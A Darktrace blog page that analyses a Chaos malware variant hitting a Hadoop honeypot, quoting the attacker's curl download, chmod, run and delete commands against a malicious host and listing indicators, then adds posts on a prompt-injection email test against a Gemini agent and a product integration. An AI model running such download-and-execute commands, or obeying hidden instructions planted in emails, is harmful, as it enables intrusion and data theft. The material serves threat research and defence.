ブログ
/
/
April 7, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Chaosマルウェアは、従来標的としていたルーターやエッジデバイスに加えて、クラウド環境の設定ミスを狙うケースが増えています。ダークトレースのハニーポットネットワークは、戦術の進化と新たな能力を明らかにし、クラウドサーバーに対するリスクの増大を浮き彫りにしました。
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nathaniel Bill
Malware Research Engineer
Default blog image
07
Apr 2026

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nathaniel Bill
Malware Research Engineer

More in this series

No items found.

Blog

/

AI

/

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Default blog imageDefault blog image

Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?  

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.  

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.  

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

Continue reading
About the author
Carlo Loregian
Solutions Engineer

Blog

/

AI

/

August 4, 2026

Extending AI Security Visibility with Darktrace and Microsoft Agent 365

Default blog imageDefault blog image

AI agents are rapidly becoming embedded in everyday business operations, helping employees automate workflows, access information, and accelerate decision-making. As organizations embrace agentic AI, security teams face a growing challenge: understanding how AI is being used, what agents can access, and where risk may emerge.

As agents take on more business-critical work, security teams often need to move across multiple portals to understand risks spanning identity, data, and threat activity. This fragmented view can make it difficult to assess an agent's overall risk posture and determine where attention is needed. Organizations need a way to bring these signals together without disrupting existing security investments or workflows.

Today, Darktrace is announcing an integration between Darktrace / SECURE AI and Microsoft Agent 365 that brings Darktrace's Adaptive AI-driven risk signals directly into the Microsoft 365 Admin Center. By extending the visibility and risk understanding provided by Darktrace / SECURE AI into the Microsoft ecosystem, organizations can gain a more unified understanding of AI agent risk across their environments.

As one of the first security companies to partner with Microsoft to contribute third-party risk signals to the Agent Registry, Darktrace is helping shape how organizations understand and manage AI agent risk.

Extending visibility into the Microsoft Agent 365 experience

Microsoft Agent 365 provides administrators with a centralized registry of AI agents operating within their environment. As organizations expand their use of AI agents, this centralized visibility becomes increasingly important for governance and oversight.

This new integration extends that visibility by allowing Darktrace-generated risk signals to be surfaced directly within the Microsoft Agent 365 experience. By combining Microsoft's agent management and security capabilities with Darktrace's AI-powered risk analysis, organizations gain greater awareness of potential security concerns associated with AI agents operating across their environments.

By integrating Darktrace telemetry into Agent 365, customers can:  

  • Surface Darktrace-detected risks and signals alongside Microsoft-native signals in a single interface
  • Identify potentially compromised or anomalous AI agents more quickly
  • Gain unified understanding of context and agent behavior  

This approach reinforces a single control plane for AI security while allowing organizations to continue leveraging existing investments across both platforms.  

Why unified visibility of AI agent risk signals matters

As AI adoption accelerates across Microsoft environments, organizations must manage new forms of behavior, access patterns, and risk. Security teams need more than inventories and permissions. They need visibility into how AI systems operate and how risk evolves over time.  

This integration addresses a critical gap: how to bring behavioral AI security insights into the same control plane as identity, access, and agent management.  

With Darktrace and Microsoft Agent 365 together, organizations benefit from:  

  • Unified visibility: A single pane of glass for understanding AI agent risk signals across Microsoft and Darktrace signals  
  • Faster detection of abnormal agent behavior: Darktrace's Adaptive AI highlights deviations that may not be captured by static controls  
  • Operational efficiency: Security teams can triage and prioritize risk signals without switching between systems
  • Stronger trust in AI deployments: Clear attribution, context, and investigation pathways improve confidence in AI agent usage

Extending Microsoft's AI security model, not replacing it

Securing AI requires a layered approach that combines governance, visibility, threat detection, and risk management. This integration is designed to complement Microsoft's security capabilities, not duplicate them.  

Through Darktrace / SECURE AI, Darktrace contributes:  

  • Identification of risk via advanced prompt analysis  
  • Behavioral anomaly detection across AI agents  
  • Cross-environment threat correlation  
  • Autonomous insight into emerging or unknown risks  

Microsoft provides:  

  • Centralized agent management
  • Identity and access governance
  • Native detection of risk signals and enforcement capabilities

Together, these capabilities create a more complete, layered approach to securing AI-driven enterprises. Organizations gain the governance and policy controls needed to manage AI adoption while benefiting from continuous visibility into how AI is used across the business.

Building the future of secure AI

As AI agents become more deeply embedded in business processes, organizations need more than inventories and static controls. They need to understand how AI is being used, how agents behave, and where risk is emerging across the enterprise.

Darktrace / SECURE AI delivers that understanding through continuous visibility into AI activity, helping security teams assess intent, identify behavioral drift, and uncover emerging risk across both human and agent-driven workflows. Powered by Adaptive AI, it provides the context needed to secure AI as it evolves.  

The integration with Microsoft Agent 365 extends those insights into the workflows organizations already use. Agent 365 provides a unified control plane for governing and securing AI agents, while Darktrace contributes complementary behavioral risk signals that can be surfaced within the Agent 365 experience. Together, they give customers broader context on agent activity and risk while preserving the value of their existing Microsoft and Darktrace investments.

As enterprises move from AI experimentation to AI-powered execution, Microsoft and Darktrace help bring together governance, compliance, behavioral understanding, and oversight in a unified approach to AI security. For organizations adopting Microsoft 365 E7, Darktrace / SECURE AI further strengthens that foundation by providing continuous visibility into AI activity, agent behavior, and emerging risk as AI adoption scales.

Continue reading
About the author
The Darktrace Community
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ